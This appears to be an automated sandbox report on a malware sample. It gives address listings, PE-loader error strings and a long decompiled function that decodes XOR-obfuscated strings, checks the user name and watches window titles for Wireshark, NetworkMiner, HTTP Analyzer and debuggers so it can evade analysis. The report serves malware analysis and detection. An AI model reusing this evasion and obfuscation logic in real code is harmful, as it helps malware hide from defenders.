0x00402f26
0x00402f2d
0x00402f31
0x00402f33
0x00402f36
0x00402f38
0x00402f3b
0x00402f42
0x00402f74
0x00402fa1
0x00402fa4
0x00402faf
0x00402fe0
0x00402fe3
0x00402fe6
0x00402ff8
0x00403004
0x0040300a
0x0040301a
0x0040301e
0x00403023
0x00403025
0x00403027
0x00403027
0x0040302a
0x0040302f
0x00403032
0x00403037
0x0040303a
0x0040303c
0x0040303f
0x0040303f
0x00403027
0x00403048
0x0040304e
0x00403057
0x00403061
0x00403067
0x00403084
0x00403086
0x0040308b
0x004030b3
0x004030be
0x004030c4
0x004030c7
0x004030c9
0x004030ce
0x004030e4
0x004030f1
0x004030f8
0x004030fb
0x00403102
0x00403109
0x00403110
0x00403117
0x00403121
0x00403124
0x0040312a
0x00403157
0x0040315c
0x00403162
0x0040316a
0x00403170
0x0040317a
0x0040317e
0x00403180
0x00403183
0x00403185
0x00403188
0x0040318f
0x00403196
0x0040324f
0x00403252
0x00403255
0x00403258
0x004032dd
0x004032dd
0x0040325e
0x00403265
0x0040326b
0x00403274
0x00403276
0x00403279
0x0040327d
0x00403280
0x00403280
0x00403285
0x00403288
0x0040328b
0x00403295
0x00403297
0x0040329a
0x004032a0
0x004032a0
0x004032b1
0x004032bb
0x004032bb
0x004032be
0x004032c1
0x004032c2
0x004032ca
0x004032a0
0x004032ce
0x004032d1
0x004032d3
0x004032d6
0x004032da
0x004032da
0x00000000
0x00403267
0x00403267
0x00403267
0x00403265
0x004032e4
0x004032ee
0x00000000
0x004032f4
0x004032f4
0x004032ff
0x00403301
0x00403304
0x00403306
0x00403309
0x0040330c
0x0040330f
0x00403312
0x00403317
0x00403319
0x0040331e
0x00403327
0x00403329
0x00403329
0x00403320
0x00403320
0x00403320
0x0040331e
0x0040332c
0x00403334
0x00403337
0x0040333a
0x00403341
0x0040334c
0x00403415
0x00403415
0x00403418
0x00403421
0x00403428
0x00000000
0x0040342e
0x0040342e
0x00403430
0x00403432
0x0040343a
0x0040343c
0x0040343f
0x00403445
0x00403447
0x0040344b
0x00403450
0x00403455
0x00403457
0x0040345a
0x0040345d
0x00403461
0x00403461
0x0040344b
0x00403445
0x00403463
0x00403468
0x004034bf
0x004034c8
0x004034c9
0x004034d3
0x0040346a
0x0040346a
0x0040346d
0x00403473
0x004034a4
0x004034a9
0x004034aa
0x004034b9
0x00403475
0x00403475
0x00403477
0x00403479
0x0040347e
0x0040348a
0x00403493
0x00403494
0x004034a3
0x00403480
0x0040312e
0x00000000
0x0040312e
0x0040347e
0x00403473
0x00403468
0x00403352
0x00403352
0x00403355
0x00403360
0x00403363
0x00403369
0x0040336e
0x00403373
0x00403376
0x00403379
0x0040337e
0x00403388
0x0040338a
0x00000000
0x0040338a
0x00403380
0x00403380
0x0040338d
0x0040338d
0x00403390
0x00403390
0x0040337e
0x00403396
0x004033d3
0x004033d9
0x004033db
0x004033df
0x004033e1
0x004033e1
0x004033ed
0x004033f0
0x00000000
0x00403398
0x0040339f
0x004033d0
0x00000000
0x004033a1
0x004033a1
0x004033a6
0x004033ad
0x00000000
0x004033b3
0x004033b3
0x004033b6
0x004033b9
0x004033bb
0x004033be
0x004033c1
0x004033c3
0x004033c6
0x004033c9
0x004033cc
0x00000000
0x004033cc
0x004033ad
0x0040339f
0x00000000
0x004033f3
0x004033f9
0x004033fc
0x00403403
0x00403406
0x00403409
0x0040340c
0x0040340c
0x00000000
0x00403360
0x0040334c
0x0040319c
0x0040319c
0x004031a0
0x004031a0
0x004031a5
0x004031f0
0x00000000
0x004031f6
0x00403209
0x0040320b
0x00403210
0x00000000
0x00403216
0x00403221
0x00403226
0x0040322b
0x00000000
0x0040322b
0x00403210
0x004031a7
0x004031ad
0x004031b3
0x00000000
0x004031b5
0x004031c8
0x004031ca
0x004031cf
0x00000000
0x004031d5
0x004031de
0x004031e1
0x0040322e
0x0040322e
0x00403231
0x00000000
0x00403231
0x004031cf
0x004031b3
0x00000000
0x00403234
0x00403234
0x00403236
0x0040323c
0x0040323d
0x00403244
0x0040324c
0x00000000
0x0040324c
0x0040312c
0x0040312c
0x0040312e
0x0040312e
0x00403134
0x00403136
0x0040313d
0x0040313e
0x0040314d
0x0040314d
0x004030d0
0x004030d7
0x00402f88
0x00000000
0x00402f88
0x0040308d
0x00403096
0x00403098
0x0040309d
0x00000000
0x0040309f
0x0040309f
0x004030a4
0x00402f88
0x00000000
0x00402f88
0x0040309d
0x00403069
0x00403069
0x00000000
0x00403069
0x0040300c
0x0040300c
0x00000000
0x0040300c
0x00402ffa
0x00402ffa
0x00000000
0x00402ffa
0x00402fe8
0x00402fe8
0x00000000
0x00402fe8
0x00402fb1
0x00402fb3
0x00402fb9
0x00402fbe
0x00402fc8
0x00402fc9
0x00402fcb
0x00402fd8
0x00402fd8
0x00402f76
0x00402f76
0x00402f7b
0x00402f7b
0x00402f88
0x00402f88
0x00402f90
0x00402f91
0x00402f93
0x00402fa0
0x00402fa0
0x00402f44
0x00402f46
0x00402f4c
0x00402f51
0x00402f5b
0x00402f5c
0x00402f5e
0x00402f6b
0x00402f6b
0x00000000

APIs

SetLastError.KERNEL32(0000000D,?), ref: 00402F46
SetLastError.KERNEL32(000000C1), ref: 00402F88

Strings

@, xrefs: 00402F3F
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402FE8
DOS header size is not valid!, xrefs: 00402FB9
Section alignment invalid!, xrefs: 0040300C
v+@, xrefs: 00402F93, 00402FCB, 00402F5E
Size is not valid!, xrefs: 00402F4C
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402FFA
ERROR_OUTOFMEMORY!, xrefs: 0040309F
DOS header is not valid!, xrefs: 00402F76
alignedImageSize != AlignValueUp!, xrefs: 00403069

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$v+@
API String ID: 1452528299-3666885587
Opcode ID: 5031e32649357ab6b8187c7099874a2122c0e70e2dd72fe68ece19a654c1539c
Instruction ID: cab9869fab3c107f134225814a8f18c31f4006d1b087e10786b5783801258e83
Opcode Fuzzy Hash: 5031e32649357ab6b8187c7099874a2122c0e70e2dd72fe68ece19a654c1539c
Instruction Fuzzy Hash: 2D129C71A012059BCB14CFA9D980BADBBB5FF48705F14416AE809AB3C5D7B8ED41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004056A0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 514
sleepCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004056A0(void* __ebx, void* __ecx, void* __edi) {
				long _v8;
				intOrPtr* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v96;
				struct _SID_IDENTIFIER_AUTHORITY _v104;
				long _v108;
				void* _v112;
				void* _v116;
				char _v284;
				char _v288;
				int _v292;
				char _v296;
				char _v300;
				long _v304;
				long _v308;
				intOrPtr _v312;
				char _v313;
				long _v320;
				long _v324;
				long _v328;
				long _v332;
				long _v340;
				long* _v344;
				long _v348;
				long _v352;
				long _v356;
				long _v364;
				long _v372;
				char _v428;
				signed int _v432;
				long _v696;
				intOrPtr _v700;
				signed int _v792;
				short _v872;
				long _v876;
				void* _v884;
				void* __esi;
				void* __ebp;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				signed char _t239;
				signed char _t240;
				CHAR _t245;
				void* _t248;
				signed char _t252;
				signed int _t253;
				intOrPtr _t258;
				void* _t261;
				intOrPtr _t262;
				signed char _t263;
				signed char _t264;
				intOrPtr _t269;
				void* _t272;
				struct HWND__* _t273;
				intOrPtr _t275;
				void* _t279;
				intOrPtr* _t280;
				long _t285;
				void* _t286;
				signed int _t289;
				signed int _t290;
				intOrPtr _t293;
				signed char _t294;
				signed int _t295;
				signed int _t297;
				int _t298;
				signed char _t301;
				signed int _t302;
				signed int _t304;
				intOrPtr _t305;
				signed char _t306;
				signed int _t307;
				signed int _t309;
				struct HWND__* _t310;
				signed int _t313;
				signed int _t318;
				long _t319;
				signed int _t324;
				signed int _t328;
				signed int _t333;
				signed int _t337;
				int _t338;
				long _t343;
				intOrPtr _t347;
				signed char _t348;
				signed int _t349;
				signed int _t354;
				signed int _t355;
				signed int _t360;
				signed int _t366;
				signed int _t371;
				signed int _t376;
				void* _t382;
				void* _t386;
				void* _t388;
				void* _t390;
				void* _t392;
				intOrPtr _t393;
				void* _t395;
				void* _t397;
				struct HWND__* _t398;
				intOrPtr _t400;
				void* _t404;
				long _t407;
				long _t411;
				long _t420;
				long _t424;
				long _t433;
				long _t437;
				void* _t448;
				void* _t449;
				void* _t451;
				intOrPtr _t452;
				void* _t454;
				signed int _t456;
				void* _t457;
				void* _t458;
				signed char* _t459;
				CHAR* _t462;
				signed int* _t470;
				intOrPtr* _t473;
				signed char* _t477;
				intOrPtr* _t480;
				intOrPtr* _t485;
				intOrPtr* _t488;
				signed char* _t489;
				signed char* _t496;
				signed char* _t499;
				intOrPtr* _t503;
				long _t506;
				long _t511;
				signed char* _t512;
				void* _t518;
				intOrPtr* _t520;
				long _t523;
				long _t524;
				signed char* _t525;
				void* _t526;
				long _t528;
				long _t529;
				signed int* _t530;
				void* _t531;
				long _t533;
				signed char* _t534;
				void* _t535;
				long _t537;
				void* _t538;
				intOrPtr* _t539;
				void* _t541;
				long* _t542;
				void* _t543;
				void* _t544;
				void* _t545;
				void* _t546;
				void* _t548;
				void* _t549;
				intOrPtr _t550;
				signed char* _t552;
				void* _t553;
				signed char* _t554;
				signed char* _t555;
				intOrPtr _t556;
				intOrPtr _t560;
				void* _t561;
				intOrPtr* _t562;
				intOrPtr _t564;
				void* _t565;
				void* _t567;
				intOrPtr* _t568;
				signed int _t569;
				void* _t570;
				signed int _t571;
				signed int _t572;
				void* _t573;
				void* _t574;
				signed int _t576;
				void* _t577;
				long* _t578;
				long* _t579;
				long* _t580;
				long* _t581;
				long* _t582;
				long* _t583;
				signed int _t584;

				_t458 = __ecx;
				_t447 = __ebx;
				_push(0xffffffff);
				_push(E0042CA61);
				_push( *[fs:0x0]);
				_t574 = _t573 - 0x168;
				_t234 =  *0x43d054; // 0xd71f2cec
				_t235 = _t234 ^ _t569;
				_v24 = _t235;
				_push(__ebx);
				_push(__edi);
				_push(_t235);
				 *[fs:0x0] =  &_v16;
				_v324 = 0;
				_v308 = 0;
				_v304 = 0xf;
				_v324 = 0;
				_v8 = 0;
				_v296 = 0x47434a4f;
				_v292 = 0x2e40;
				_t560 =  *((intOrPtr*)( *[fs:0x2c]));
				_t238 =  *0x450f20; // 0x0
				if(_t238 >  *((intOrPtr*)(_t560 + 4))) {
					E0040F2F9(_t238, 0x450f20);
					_t574 = _t574 + 4;
					_t594 =  *0x450f20 - 0xffffffff;
					if( *0x450f20 == 0xffffffff) {
						_t11 =  &_v296; // 0x47434a4f
						 *0x450f44 =  *_t11;
						 *0x450f48 = _v292;
						E0040F60B(_t458, _t594, E0042D350);
						E0040F2AF(0x450f20);
						_t574 = _t574 + 8;
					}
				}
				_t239 =  *0x450f49; // 0x0
				if(_t239 != 0) {
					 *0x450f44 =  *0x450f44 ^ 0x0000002e;
					 *0x450f45 =  *0x450f45 ^ 0x0000002e;
					 *0x450f46 =  *0x450f46 ^ 0x0000002e;
					 *0x450f47 =  *0x450f47 ^ 0x0000002e;
					 *0x450f48 =  *0x450f48 ^ 0x0000002e;
					 *0x450f49 = _t239 ^ 0x0000002e;
				}
				_t459 = 0x450f44;
				_v348 = 0;
				_v332 = 0;
				_v328 = 0xf;
				_v348 = 0;
				_t17 =  &(_t459[1]); // 0x450f45
				_t525 = _t17;
				goto L6;
				do {
					L8:
					_t245 =  *_t462;
					_t462 = _t462 + 1;
				} while (_t245 != 0);
				E004026B0(_t447,  &_v372,  &_v288, _t462 - _t526);
				_t465 =  &_v372;
				_t248 = E0040CE10( &_v372,  &_v348);
				_t528 = _v352;
				_t448 = _t248;
				if(_t528 < 0x10) {
					L13:
					_v8 = 0;
					_t529 = _v328;
					if(_t529 < 0x10) {
						L17:
						if(_t448 != 0) {
							L76:
							 *[fs:0x0] = _v16;
							_pop(_t549);
							_pop(_t561);
							_pop(_t449);
							return E0040EF6F(0, _t449, _v24 ^ _t569, _t529, _t549, _t561);
						} else {
							_t251 =  *0x451044;
							_v296 = 0x464f467d;
							if( *0x451044 >  *((intOrPtr*)(_t560 + 4))) {
								E0040F2F9(_t251, 0x451044);
								_t574 = _t574 + 4;
								_t608 =  *0x451044 - 0xffffffff;
								if( *0x451044 == 0xffffffff) {
									_t41 =  &_v296; // 0x464f467d
									 *0x451054 =  *_t41;
									 *0x451058 = 0x2e;
									E0040F60B(_t465, _t608, E0042D330);
									E0040F2AF(0x451044);
									_t574 = _t574 + 8;
								}
							}
							_t252 =  *0x451058;
							if(_t252 != 0) {
								 *0x451054 =  *0x451054 ^ 0x0000002e;
								 *0x451055 =  *0x451055 ^ 0x0000002e;
								 *0x451056 =  *0x451056 ^ 0x0000002e;
								 *0x451057 =  *0x451057 ^ 0x0000002e;
								 *0x451058 = _t252 ^ 0x0000002e;
							}
							_t470 = 0x451054;
							_v348 = 0;
							_v332 = 0;
							_v328 = 0xf;
							_v348 = 0;
							_t46 =  &(_t470[0]); // 0x451055
							_t530 = _t46;
							do {
								_t253 =  *_t470;
								_t470 =  &(_t470[0]);
							} while (_t253 != 0);
							E004026B0(0x2e,  &_v348, 0x451054, _t470 - _t530);
							_t48 =  &_v296; // 0x464f467d
							_v8 = 2;
							_v296 = 0x101;
							GetUserNameA( &_v288, _t48);
							_t473 =  &_v288;
							_v372 = 0;
							_v356 = 0;
							_t531 = _t473 + 1;
							_v352 = 0xf;
							do {
								_t258 =  *_t473;
								_t473 = _t473 + 1;
							} while (_t258 != 0);
							E004026B0(0x2e,  &_v372,  &_v288, _t473 - _t531);
							_t476 =  &_v372;
							_t261 = E0040CE10( &_v372,  &_v348);
							_t533 = _v352;
							_t451 = _t261;
							if(_t533 < 0x10) {
								L31:
								_v8 = 0;
								_t529 = _v328;
								if(_t529 < 0x10) {
									L35:
									if(_t451 != 0) {
										goto L76;
									} else {
										_t262 =  *0x450f18; // 0x0
										_v300 = 0x5a5d4b5a;
										_v296 = 0x4d404b6c;
										_v292 = 0x2e46;
										if(_t262 >  *((intOrPtr*)(_t560 + 4))) {
											E0040F2F9(_t262, 0x450f18);
											_t574 = _t574 + 4;
											_t622 =  *0x450f18 - 0xffffffff;
											if( *0x450f18 == 0xffffffff) {
												asm("movq xmm0, [ebp-0x128]");
												asm("movq [0x450d50], xmm0");
												 *0x450d58 = _v292;
												E0040F60B(_t476, _t622, E0042D310);
												E0040F2AF(0x450f18);
												_t574 = _t574 + 8;
											}
										}
										_t263 =  *0x450d59; // 0x0
										if(_t263 != 0) {
											 *0x450d50 =  *0x450d50 ^ 0x0000002e;
											 *0x450d51 =  *0x450d51 ^ 0x0000002e;
											 *0x450d52 =  *0x450d52 ^ 0x0000002e;
											 *0x450d53 =  *0x450d53 ^ 0x0000002e;
											 *0x450d54 =  *0x450d54 ^ 0x0000002e;
											 *0x450d55 =  *0x450d55 ^ 0x0000002e;
											 *0x450d56 =  *0x450d56 ^ 0x0000002e;
											 *0x450d57 =  *0x450d57 ^ 0x0000002e;
											 *0x450d58 =  *0x450d58 ^ 0x0000002e;
											 *0x450d59 = _t263 ^ 0x0000002e;
										}
										_t477 = 0x450d50;
										_v348 = 0;
										_v332 = 0;
										_v328 = 0xf;
										_v348 = 0;
										_t77 =  &(_t477[1]); // 0x450d51
										_t534 = _t77;
										do {
											_t264 =  *_t477;
											_t477 =  &(_t477[1]);
										} while (_t264 != 0);
										E004026B0(_t451,  &_v348, 0x450d50, _t477 - _t534);
										_t79 =  &_v296; // 0x4d404b6c
										_v8 = 3;
										_v296 = 0x101;
										GetUserNameA( &_v288, _t79);
										_t480 =  &_v288;
										_v372 = 0;
										_v356 = 0;
										_t535 = _t480 + 1;
										_v352 = 0xf;
										do {
											_t269 =  *_t480;
											_t480 = _t480 + 1;
										} while (_t269 != 0);
										E004026B0(_t451,  &_v372,  &_v288, _t480 - _t535);
										_t272 = E0040CE10( &_v372,  &_v348);
										_t537 = _v352;
										_t451 = _t272;
										if(_t537 < 0x10) {
											L49:
											_v8 = 0;
											_t529 = _v328;
											if(_t529 < 0x10) {
												L53:
												if(_t451 != 0) {
													goto L76;
												} else {
													_t273 = GetForegroundWindow(); // executed
													GetWindowTextA(_t273,  &_v288, 0xc8);
													_t485 =  &_v288;
													_t538 = _t485 + 1;
													do {
														_t275 =  *_t485;
														_t485 = _t485 + 1;
													} while (_t275 != 0);
													E004026B0(_t451,  &_v324,  &_v288, _t485 - _t538);
													_t279 = E00410590( &_v288, " Far ");
													_t574 = _t574 + 8;
													if(_t279 == 0) {
														_t451 = Sleep;
														while(1) {
															_t386 = E00410590( &_v288, "roxifier");
															_t574 = _t574 + 8;
															if(_t386 != 0) {
																goto L72;
															}
															_t388 = E00410590( &_v288, "HTTP Analyzer");
															_t574 = _t574 + 8;
															if(_t388 == 0) {
																_t390 = E00410590( &_v288, "Wireshark");
																_t574 = _t574 + 8;
																if(_t390 == 0) {
																	_t392 = E00410590( &_v288, "NetworkMiner");
																	_t574 = _t574 + 8;
																	if(_t392 == 0) {
																		_t568 =  &_v288;
																		_t518 = _t568 + 1;
																		do {
																			_t393 =  *_t568;
																			_t568 = _t568 + 1;
																		} while (_t393 != 0);
																		_t560 = _t568 - _t518;
																		_t548 = 0;
																		if(_t560 > 0) {
																			do {
																				 *((char*)(_t569 + _t548 - 0x11c)) = E00418628( *((char*)(_t569 + _t548 - 0x11c)));
																				_t574 = _t574 + 4;
																				_t548 = _t548 + 1;
																			} while (_t548 < _t560);
																		}
																		_t395 = E00410590( &_v288, "dbg");
																		_t574 = _t574 + 8;
																		if(_t395 == 0) {
																			_t397 = E00410590( &_v288, "debug");
																			_t574 = _t574 + 8;
																			if(_t397 == 0) {
																				Sleep(0x258); // executed
																				_t398 = GetForegroundWindow(); // executed
																				GetWindowTextA(_t398,  &_v288, 0xc8);
																				_t520 =  &_v288;
																				_t543 = _t520 + 1;
																				do {
																					_t400 =  *_t520;
																					_t520 = _t520 + 1;
																				} while (_t400 != 0);
																				E004026B0(_t451,  &_v324,  &_v288, _t520 - _t543);
																				_t404 = E00410590( &_v288, " Far ");
																				_t574 = _t574 + 8;
																				if(_t404 == 0) {
																					continue;
																				}
																			}
																		}
																	}
																}
															}
															goto L72;
														}
													}
													L72:
													_t529 = _v304;
													if(_t529 < 0x10) {
														goto L76;
													} else {
														_t488 = _v324;
														_t529 = _t529 + 1;
														_t280 = _t488;
														if(_t529 < 0x1000) {
															L75:
															_push(_t529);
															E0040F1B0(_t488);
															goto L76;
														} else {
															_t488 =  *((intOrPtr*)(_t488 - 4));
															_t529 = _t529 + 0x23;
															if(_t280 - _t488 + 0xfffffffc > 0x1f) {
																goto L77;
															} else {
																goto L75;
															}
														}
													}
												}
											} else {
												_t523 = _v348;
												_t529 = _t529 + 1;
												_t407 = _t523;
												if(_t529 < 0x1000) {
													L52:
													_push(_t529);
													E0040F1B0(_t523);
													_t574 = _t574 + 8;
													goto L53;
												} else {
													_t488 =  *((intOrPtr*)(_t523 - 4));
													_t529 = _t529 + 0x23;
													if(_t407 - _t488 + 0xfffffffc > 0x1f) {
														goto L77;
													} else {
														goto L52;
													}
												}
											}
										} else {
											_t524 = _v372;
											_t544 = _t537 + 1;
											_t411 = _t524;
											if(_t544 < 0x1000) {
												L48:
												_push(_t544);
												E0040F1B0(_t524);
												_t574 = _t574 + 8;
												goto L49;
											} else {
												_t488 =  *((intOrPtr*)(_t524 - 4));
												_t529 = _t544 + 0x23;
												if(_t411 - _t488 + 0xfffffffc > 0x1f) {
													goto L77;
												} else {
													goto L48;
												}
											}
										}
									}
								} else {
									_t476 = _v348;
									_t529 = _t529 + 1;
									_t420 = _t476;
									if(_t529 < 0x1000) {
										L34:
										_push(_t529);
										E0040F1B0(_t476);
										_t574 = _t574 + 8;
										goto L35;
									} else {
										_t488 =  *((intOrPtr*)(_t476 - 4));
										_t529 = _t529 + 0x23;
										if(_t420 - _t488 + 0xfffffffc > 0x1f) {
											goto L77;
										} else {
											goto L34;
										}
									}
								}
							} else {
								_t476 = _v372;
								_t545 = _t533 + 1;
								_t424 = _t476;
								if(_t545 < 0x1000) {
									L30:
									_push(_t545);
									E0040F1B0(_t476);
									_t574 = _t574 + 8;
									goto L31;
								} else {
									_t488 =  *((intOrPtr*)(_t476 - 4));
									_t529 = _t545 + 0x23;
									if(_t424 - _t488 + 0xfffffffc > 0x1f) {
										goto L77;
									} else {
										goto L30;
									}
								}
							}
						}
					} else {
						_t465 = _v348;
						_t529 = _t529 + 1;
						_t433 = _t465;
						if(_t529 < 0x1000) {
							L16:
							_push(_t529);
							E0040F1B0(_t465);
							_t574 = _t574 + 8;
							goto L17;
						} else {
							_t488 =  *((intOrPtr*)(_t465 - 4));
							_t529 = _t529 + 0x23;
							if(_t433 - _t488 + 0xfffffffc > 0x1f) {
								goto L77;
							} else {
								goto L16;
							}
						}
					}
				} else {
					_t465 = _v372;
					_t546 = _t528 + 1;
					_t437 = _t465;
					if(_t546 < 0x1000) {
						L12:
						_push(_t546);
						E0040F1B0(_t465);
						_t574 = _t574 + 8;
						goto L13;
					} else {
						_t488 =  *((intOrPtr*)(_t465 - 4));
						_t529 = _t546 + 0x23;
						if(_t437 - _t488 + 0xfffffffc > 0x1f) {
							L77:
							E004138D7(_t451, _t529, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t569);
							_t570 = _t574;
							_push(_t488);
							__eflags =  *((intOrPtr*)(_t529 + 0x14)) - 0x10;
							_t285 = _t529;
							_push(_t451);
							_push(_t560);
							_push(_t548);
							_t562 = _t488;
							if( *((intOrPtr*)(_t529 + 0x14)) >= 0x10) {
								_t285 =  *_t529;
							}
							__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
								_t488 =  *_t562;
							}
							_t452 =  *((intOrPtr*)(_t529 + 0x10));
							_t539 = _t562 + 0x10;
							_t550 =  *_t539;
							_v12 = _t539;
							_t286 = E00402890(_t488, _t550, _t488, _t285, _t452);
							_t541 = _t286;
							_t576 = _t574 + 0xc;
							__eflags = _t541 - 0xffffffff;
							if(_t541 == 0xffffffff) {
								L87:
								return _t286;
							} else {
								__eflags = _t550 - _t541;
								if(_t550 < _t541) {
									E004027F0(_t488, _t541);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t570);
									_t571 = _t576;
									_push(0xffffffff);
									_push(E0042CAB7);
									_push( *[fs:0x0]);
									_t577 = _t576 - 0x154;
									_t289 =  *0x43d054; // 0xd71f2cec
									_t290 = _t289 ^ _t571;
									_v432 = _t290;
									_push(_t452);
									_push(_t562);
									_push(_t550);
									_push(_t290);
									 *[fs:0x0] =  &_v428;
									_v696 = 0;
									_v700 = 0x455d4f5a;
									_v696 = 0x2e5c4943;
									_t564 =  *((intOrPtr*)( *[fs:0x2c]));
									_t293 =  *0x450f14; // 0x80000013
									__eflags = _t293 -  *((intOrPtr*)(_t564 + 4));
									if(_t293 >  *((intOrPtr*)(_t564 + 4))) {
										E0040F2F9(_t293, 0x450f14);
										_t577 = _t577 + 4;
										__eflags =  *0x450f14 - 0xffffffff;
										if(__eflags == 0) {
											_t143 =  &_v296; // 0x455d4f5a
											_t144 =  &_v292; // 0x2e5c4943
											 *0x450d60 =  *_t143;
											 *0x450d64 =  *_t144;
											E0040F60B( *_t144, __eflags, E0042D3E0);
											E0040F2AF(0x450f14);
											_t577 = _t577 + 8;
										}
									}
									_t294 =  *0x450d67; // 0x0
									__eflags = _t294;
									if(_t294 != 0) {
										 *0x450d60 =  *0x450d60 ^ 0x0000002e;
										 *0x450d61 =  *0x450d61 ^ 0x0000002e;
										 *0x450d62 =  *0x450d62 ^ 0x0000002e;
										 *0x450d63 =  *0x450d63 ^ 0x0000002e;
										 *0x450d64 =  *0x450d64 ^ 0x0000002e;
										 *0x450d65 =  *0x450d65 ^ 0x0000002e;
										 *0x450d66 =  *0x450d66 ^ 0x0000002e;
										_t376 = _t294 ^ 0x0000002e;
										__eflags = _t376;
										 *0x450d67 = _t376;
									}
									_t578 = _t577 - 0x18;
									_t489 = 0x450d60;
									_t542 = _t578;
									_t145 =  &(_t489[1]); // 0x450d61
									_t552 = _t145;
									 *_t542 = 0;
									_t542[4] = 0;
									_t542[5] = 0xf;
									asm("o16 nop [eax+eax]");
									do {
										_t295 =  *_t489;
										_t489 =  &(_t489[1]);
										__eflags = _t295;
									} while (_t295 != 0);
									E004026B0(_t452, _t542, 0x450d60, _t489 - _t552); // executed
									_t297 = E00405350(_t452); // executed
									_t579 =  &(_t578[6]);
									__eflags = _t297;
									if(_t297 != 0) {
										L145:
										_t298 = 1;
										goto L146;
									} else {
										_t300 =  *0x451000;
										_v296 = 0x455d4f7a;
										_v292 = 0x2e5c4943;
										__eflags =  *0x451000 -  *((intOrPtr*)(_t564 + 4));
										if( *0x451000 >  *((intOrPtr*)(_t564 + 4))) {
											E0040F2F9(_t300, 0x451000);
											_t579 =  &(_t579[1]);
											__eflags =  *0x451000 - 0xffffffff;
											if(__eflags == 0) {
												_t151 =  &_v296; // 0x455d4f7a
												_t152 =  &_v292; // 0x2e5c4943
												 *0x450fcc =  *_t151;
												 *0x450fd0 =  *_t152;
												E0040F60B( *_t152, __eflags, E0042D3D0);
												E0040F2AF(0x451000);
												_t579 =  &(_t579[2]);
											}
										}
										_t301 =  *0x450fd3; // 0x0
										__eflags = _t301;
										if(_t301 != 0) {
											 *0x450fcc =  *0x450fcc ^ 0x0000002e;
											 *0x450fcd =  *0x450fcd ^ 0x0000002e;
											 *0x450fce =  *0x450fce ^ 0x0000002e;
											 *0x450fcf =  *0x450fcf ^ 0x0000002e;
											 *0x450fd0 =  *0x450fd0 ^ 0x0000002e;
											 *0x450fd1 =  *0x450fd1 ^ 0x0000002e;
											 *0x450fd2 =  *0x450fd2 ^ 0x0000002e;
											_t371 = _t301 ^ 0x0000002e;
											__eflags = _t371;
											 *0x450fd3 = _t371;
										}
										_t580 = _t579 - 0x18;
										_t496 = 0x450fcc;
										_t542 = _t580;
										_t153 =  &(_t496[1]); // 0x450fcd
										_t554 = _t153;
										 *_t542 = 0;
										_t542[4] = 0;
										_t542[5] = 0xf;
										do {
											_t302 =  *_t496;
											_t496 =  &(_t496[1]);
											__eflags = _t302;
										} while (_t302 != 0);
										_t498 = _t542;
										E004026B0(_t452, _t542, 0x450fcc, _t496 - _t554); // executed
										_t304 = E00405350(_t452); // executed
										_t581 =  &(_t580[6]);
										__eflags = _t304;
										if(_t304 != 0) {
											goto L145;
										} else {
											_t305 =  *0x450fdc; // 0x80000015
											_v296 = 0x4b5c4759;
											_v292 = 0x5c4f465d;
											_v288 = 0x2e45;
											__eflags = _t305 -  *((intOrPtr*)(_t564 + 4));
											if(_t305 >  *((intOrPtr*)(_t564 + 4))) {
												E0040F2F9(_t305, 0x450fdc);
												_t581 =  &(_t581[1]);
												__eflags =  *0x450fdc - 0xffffffff;
												if(__eflags == 0) {
													asm("movq xmm0, [ebp-0x11c]");
													asm("movq [0x450dac], xmm0");
													 *0x450db4 = _v288;
													E0040F60B(_t498, __eflags, E0042D3B0);
													E0040F2AF(0x450fdc);
													_t581 =  &(_t581[2]);
												}
											}
											_t306 =  *0x450db5; // 0x0
											__eflags = _t306;
											if(_t306 != 0) {
												 *0x450dac =  *0x450dac ^ 0x0000002e;
												 *0x450dad =  *0x450dad ^ 0x0000002e;
												 *0x450dae =  *0x450dae ^ 0x0000002e;
												 *0x450daf =  *0x450daf ^ 0x0000002e;
												 *0x450db0 =  *0x450db0 ^ 0x0000002e;
												 *0x450db1 =  *0x450db1 ^ 0x0000002e;
												 *0x450db2 =  *0x450db2 ^ 0x0000002e;
												 *0x450db3 =  *0x450db3 ^ 0x0000002e;
												 *0x450db4 =  *0x450db4 ^ 0x0000002e;
												_t366 = _t306 ^ 0x0000002e;
												__eflags = _t366;
												 *0x450db5 = _t366;
											}
											_t582 = _t581 - 0x18;
											_t499 = 0x450dac;
											_t542 = _t582;
											_t161 =  &(_t499[1]); // 0x450dad
											_t555 = _t161;
											 *_t542 = 0;
											_t542[4] = 0;
											_t542[5] = 0xf;
											do {
												_t307 =  *_t499;
												_t499 =  &(_t499[1]);
												__eflags = _t307;
											} while (_t307 != 0);
											E004026B0(_t452, _t542, 0x450dac, _t499 - _t555); // executed
